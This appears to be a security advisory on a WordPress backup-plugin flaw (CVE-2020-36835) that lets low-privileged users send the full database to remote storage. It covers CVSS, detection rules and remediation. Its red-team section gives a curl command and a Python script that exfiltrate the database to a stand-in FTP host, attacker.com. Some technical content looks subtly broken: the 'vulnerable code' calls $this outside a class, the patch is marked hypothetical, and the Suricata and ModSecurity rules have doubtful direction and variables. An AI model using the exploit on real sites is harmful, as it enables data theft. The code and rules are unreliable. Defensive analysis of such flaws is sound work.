CVE-2020-36835

Executive Summary

CVE-2020-36835 is a Missing Authorization vulnerability in the WPvivid Migration, Backup, Staging plugin for WordPress (versions up to and including 0.9.35). The flaw resides in the wp_ajax_wpvivid_add_remote AJAX action, which lacks proper capability checks. This allows any authenticated user, even those with low-level roles (e.g., Subscriber), to exfiltrate the entire WordPress database by sending backups to a remote location of their choice. The vulnerability has a CVSS score of 4.9 (Medium) due to the requirement of authentication, but the impact is severe as it leads to complete database disclosure. No official patch has been released by the vendor, and the plugin remains unpatched in the WordPress repository.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The WPvivid plugin is distributed via the official WordPress Plugin Directory. Users who have installed this plugin from the directory are at risk. There is no known compromise of the plugin’s supply chain (e.g., malicious commits), but the lack of a patch means the plugin itself is a persistent security risk. Organizations should treat this as a supply chain vulnerability and remove or replace the plugin immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid WordPress account (e.g., Subscriber).
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full database disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium (4.9). While the CVSS score is medium due to the authentication requirement, the actual risk is high because low-privileged users can exfiltrate the entire database, including sensitive user data, passwords (hashed), and configuration secrets.

Deep Dive & Mechanics

The vulnerability is in the wp_ajax_wpvivid_add_remote AJAX handler. In WordPress, AJAX actions are registered with wp_ajax_ prefix for authenticated users. The handler is supposed to check user capabilities (e.g., manage_options) before executing sensitive operations. In this case, the function wpvivid_add_remote is called without any capability check.

The function processes a POST request containing remote storage details (e.g., FTP, S3, Dropbox) and then triggers a backup to that remote location. The backup includes the entire WordPress database. An attacker can craft a request like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpvivid_add_remote&remote=...&backup=1

The server will then initiate a backup and send the database dump to the attacker-controlled remote storage.

Vulnerable vs. Patched Code

Vulnerable Code (wpvivid-backuprestore/includes/class-wpvivid-ajax.php):

add_action('wp_ajax_wpvivid_add_remote', 'wpvivid_add_remote');
function wpvivid_add_remote() {
    // No capability check
    $remote = sanitize_text_field($_POST['remote']);
    // ... process remote storage and start backup
    $this->start_backup($remote);
}

Patched Code (Hypothetical):

add_action('wp_ajax_wpvivid_add_remote', 'wpvivid_add_remote');
function wpvivid_add_remote() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $remote = sanitize_text_field($_POST['remote']);
    // ... process remote storage and start backup
    $this->start_backup($remote);
}

The fix adds a current_user_can('manage_options') check, ensuring only administrators can trigger remote backups.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WPvivid plugin <= 0.9.35.
• A valid low-privileged user account (e.g., Subscriber).
• An attacker-controlled remote storage (e.g., FTP server, S3 bucket).

Exploit Steps:

1. Obtain a valid session cookie for the low-privileged user.
2. Send a crafted AJAX request to initiate a remote backup:

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -H 'Cookie: wordpress_logged_in_xxx=...' \
  -d 'action=wpvivid_add_remote&remote={"type":"ftp","host":"attacker.com","username":"user","password":"pass","path":"/backups"}&backup=1'

3. Monitor the remote storage for the incoming backup file (usually a .zip containing the SQL dump).
4. Download and extract the backup to obtain the database.

Alternative using Python:

import requests

url = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "session_cookie"}
data = {
    "action": "wpvivid_add_remote",
    "remote": '{"type":"ftp","host":"attacker.com","username":"user","password":"pass","path":"/backups"}',
    "backup": "1"
}
r = requests.post(url, cookies=cookies, data=data)
print(r.text)

Blue Team (Detection & Response)

Detection:

• Monitor for AJAX requests to admin-ajax.php with action=wpvivid_add_remote from non-admin users.
• Alert on outbound connections to unknown FTP/S3/SSH servers from the WordPress server.
• Monitor for large outbound data transfers (backup files) to external IPs.

Response:

• Immediately disable the WPvivid plugin.
• Rotate all database passwords and secrets.
• Review user accounts for unauthorized access.
• Check server logs for backup file transfers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown FTP servers (port 21), S3 endpoints, or SSH servers (port 22).
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=wpvivid_add_remote.
• File IOCs:
  • Backup files (.zip or .sql) in unexpected remote storage locations.
  • Presence of wpvivid temporary files in /tmp/ or wp-content/uploads/.
• Log IOCs:
  • WordPress debug logs showing AJAX calls from low-privileged users.
  • Web server access logs with POST /wp-admin/admin-ajax.php and action=wpvivid_add_remote.

Detection Engineering

YARA Rule

rule WPvivid_Backup_Exfil {
    meta:
        description = "Detects WPvivid plugin backup exfiltration attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36835"
    strings:
        $ajax_action = "wpvivid_add_remote"
        $backup_param = "backup=1"
        $remote_param = "remote="
    condition:
        all of them
}

Sigma Rule

title: WPvivid Plugin Backup Exfiltration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2020-36835 by sending backup to remote location
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wpvivid_add_remote'
    condition: selection
falsepositives:
    - Legitimate admin backup actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2020-36835 WPvivid Backup Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wpvivid_add_remote"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the WPvivid plugin from all WordPress installations.
2. Change all database passwords and review user accounts for unauthorized access.
3. Monitor logs for any signs of data exfiltration.

Long-term Mitigation:

• Replace WPvivid with an actively maintained backup plugin (e.g., UpdraftPlus, BackWPup).
• Implement a Web Application Firewall (WAF) rule to block wpvivid_add_remote AJAX actions from non-admin users.
• Enforce the principle of least privilege: ensure only administrators can perform backup operations.
• Regularly audit WordPress plugins for known vulnerabilities.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/wp-admin/admin-ajax.php" \
    "chain,id:1001,deny,msg:'WPvivid backup exfiltration attempt'"
    SecRule ARGS:action "wpvivid_add_remote" \
        "chain"
        SecRule USER_ROLES "!@streq administrator" \
            "t:lowercase"

Valters IT
Securing Digital Frontiers